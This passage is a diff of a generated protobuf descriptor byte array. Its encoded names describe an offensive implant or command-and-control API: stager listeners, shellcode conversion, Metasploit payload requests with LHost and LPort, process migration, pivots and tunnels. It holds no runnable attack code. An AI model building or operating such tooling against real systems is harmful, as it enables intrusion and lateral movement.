0x50, 0x6f, 0x72, 0x74, + 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, + 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, + 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, + 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, + 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xe0, 0x01, 0x0a, 0x11, 0x53, 0x74, + 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, + 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, + 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, + 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, + 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, + 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, + 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, 0x65, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, + 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x07, + 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, 0x45, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, + 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x26, 0x0a, 0x0e, + 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, + 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, + 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, 0x0a, 0x0f, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, + 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, + 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, + 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, + 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, + 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, + 0x61, 0x22, 0xe3, 0x01, 0x0a, 0x0c, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, + 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, + 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, + 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, + 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, + 0x6f, 0x6c, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, + 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, + 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07, 0x20, 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, + 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x1e, 0x0a, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, + 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x41, 0x64, 0x76, + 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2f, 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x53, 0x74, + 0x61, 0x67, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, + 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0x94, 0x01, 0x0a, 0x0c, 0x47, 0x65, 0x74, + 0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x52, 0x65, 0x71, 0x12, 0x26, 0x0a, 0x0e, 0x48, 0x6f, 0x73, + 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x0e, 0x48, 0x6f, 0x73, 0x74, 0x69, 0x6e, 0x67, 0x50, 0x72, 0x6f, 0x63, 0x65, 0x73, + 0x73, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, + 0x69, 0x67, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, + 0xb2, 0x01, 0x0a, 0x0a, 0x4d, 0x69, 0x67, 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x10, + 0x0a, 0x03, 0x50, 0x69, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, 0x50, 0x69, 0x64, + 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, + 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, + 0x67, 0x12, 0x34, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x18, 0x03, 0x20, 0x01, + 0x28, 0x0e, 0x32, 0x1a, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x68, + 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x52, 0x07, + 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x72, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x22, 0x68, 0x0a, 0x0a, 0x4e, 0x61, 0x6d, 0x65, 0x64, 0x50, 0x69, 0x70, - 0x65, 0x73, 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, - 0x01, 0x28, 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, - 0x45, 0x72, 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, - 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, - 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, - 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x54, - 0x0a, 0x0b, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, - 0x07, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, - 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, + 0x75, 0x65, 0x73, 0x74, 0x22, 0x3e, 0x0a, 0x0f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x54, 0x75, + 0x6e, 0x6e, 0x65, 0x6c, 0x52, 0x65, 0x71, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, - 0x75, 0x65, 0x73, 0x74, 0x22, 0x66, 0x0a, 0x08, 0x54, 0x43, 0x50, 0x50, 0x69, 0x76, 0x6f, 0x74, - 0x12, 0x18, 0x0a, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x18, 0x01, 0x20, 0x01, 0x28, - 0x08, 0x52, 0x07, 0x53, 0x75, 0x63, 0x63, 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, - 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x2e, 0x0a, 0x08, - 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, - 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, - 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x24, 0x0a, 0x0c, - 0x48, 0x54, 0x54, 0x50, 0x4c, 0x69, 0x73, 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, - 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, - 0x49, 0x44, 0x22, 0x39, 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x2d, - 0x0a, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x01, 0x20, 0x03, 0x28, 0x0b, - 0x32, 0x11, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x65, 0x73, 0x73, - 0x69, 0x6f, 0x6e, 0x52, 0x08, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x59, 0x0a, - 0x09, 0x52, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x52, 0x65, 0x71, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, - 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, - 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, - 0x6f, 0x6e, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x22, 0x3e, 0x0a, 0x0b, 0x47, 0x65, 0x6e, 0x65, - 0x72, 0x61, 0x74, 0x65, 0x52, 0x65, 0x71, 0x12, 0x2f, 0x0a, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, - 0x67, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, - 0x70, 0x62, 0x2e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, - 0x52, 0x06, 0x43, 0x6f, 0x6e, 0x66, 0x69, 0x67, 0x22, 0x2e, 0x0a, 0x08, 0x47, 0x65, 0x6e, 0x65, - 0x72, 0x61, 0x74, 0x65, 0x12, 0x22, 0x0a, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x46, 0x69, - 0x6c, 0x65, 0x52, 0x04, 0x46, 0x69, 0x6c, 0x65, 0x22, 0xb5, 0x01, 0x0a, 0x06, 0x4d, 0x53, 0x46, - 0x52, 0x65, 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, - 0x05, 0x4c, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, - 0x6f, 0x73, 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, - 0x28, 0x0d, 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, - 0x6f, 0x64, 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, - 0x64, 0x65, 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x73, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x22, 0xcd, 0x01, 0x0a, 0x0c, 0x4d, 0x53, 0x46, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x52, 0x65, - 0x71, 0x12, 0x18, 0x0a, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x07, 0x50, 0x61, 0x79, 0x6c, 0x6f, 0x61, 0x64, 0x12, 0x14, 0x0a, 0x05, 0x4c, - 0x48, 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x4c, 0x48, 0x6f, 0x73, - 0x74, 0x12, 0x14, 0x0a, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, - 0x52, 0x05, 0x4c, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, - 0x65, 0x72, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x45, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x72, 0x12, 0x1e, 0x0a, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x49, 0x74, 0x65, 0x72, 0x61, 0x74, 0x69, 0x6f, 0x6e, - 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x03, - 0x50, 0x49, 0x44, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, - 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, - 0x22, 0xe0, 0x01, 0x0a, 0x11, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, 0x74, 0x65, - 0x6e, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x33, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, - 0x6f, 0x6c, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, - 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, - 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x12, 0x12, 0x0a, 0x04, 0x48, - 0x6f, 0x73, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, - 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, - 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x04, 0x20, 0x01, 0x28, - 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x12, 0x12, 0x0a, 0x04, 0x43, 0x65, 0x72, 0x74, 0x18, - 0x05, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x43, 0x65, 0x72, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x4b, - 0x65, 0x79, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x03, 0x4b, 0x65, 0x79, 0x12, 0x12, 0x0a, - 0x04, 0x41, 0x43, 0x4d, 0x45, 0x18, 0x07, 0x20, 0x01, 0x28, 0x08, 0x52, 0x04, 0x41, 0x43, 0x4d, - 0x45, 0x12, 0x20, 0x0a, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, 0x61, 0x6d, 0x65, - 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x4e, - 0x61, 0x6d, 0x65, 0x22, 0x26, 0x0a, 0x0e, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x4c, 0x69, 0x73, - 0x74, 0x65, 0x6e, 0x65, 0x72, 0x12, 0x14, 0x0a, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x18, 0x01, - 0x20, 0x01, 0x28, 0x0d, 0x52, 0x05, 0x4a, 0x6f, 0x62, 0x49, 0x44, 0x22, 0x67, 0x0a, 0x0f, 0x53, - 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, 0x65, 0x52, 0x44, 0x49, 0x52, 0x65, 0x71, 0x12, 0x12, - 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, - 0x74, 0x61, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x4e, 0x61, - 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0c, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, - 0x6f, 0x6e, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1c, 0x0a, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, 0x65, - 0x6e, 0x74, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x41, 0x72, 0x67, 0x75, 0x6d, - 0x65, 0x6e, 0x74, 0x73, 0x22, 0x22, 0x0a, 0x0c, 0x53, 0x68, 0x65, 0x6c, 0x6c, 0x63, 0x6f, 0x64, - 0x65, 0x52, 0x44, 0x49, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, 0x74, 0x61, 0x18, 0x01, 0x20, 0x01, - 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xe3, 0x01, 0x0a, 0x0c, 0x4d, 0x73, 0x66, - 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x52, 0x65, 0x71, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, - 0x68, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x16, 0x0a, - 0x06, 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x46, - 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x03, 0x20, - 0x01, 0x28, 0x0d, 0x52, 0x04, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x12, 0x0a, 0x04, 0x48, 0x6f, 0x73, - 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x0e, 0x0a, - 0x02, 0x4f, 0x53, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x33, 0x0a, - 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0e, 0x32, - 0x17, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x53, 0x74, 0x61, 0x67, 0x65, - 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, 0x6f, 0x6c, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x74, 0x6f, 0x63, - 0x6f, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x18, 0x07, - 0x20, 0x03, 0x28, 0x09, 0x52, 0x08, 0x42, 0x61, 0x64, 0x43, 0x68, 0x61, 0x72, 0x73, 0x12, 0x1e, - 0x0a, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x08, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0a, 0x41, 0x64, 0x76, 0x4f, 0x70, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x22, 0x2f, - 0x0a, 0x09, 0x4d, 0x73, 0x66, 0x53, 0x74, 0x61, 0x67, 0x65, 0x72, 0x12, 0x22, 0x0a, 0x04, 0x46, - 0x69, 0x6c, 0x65, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x0e, 0x2e, 0x63, 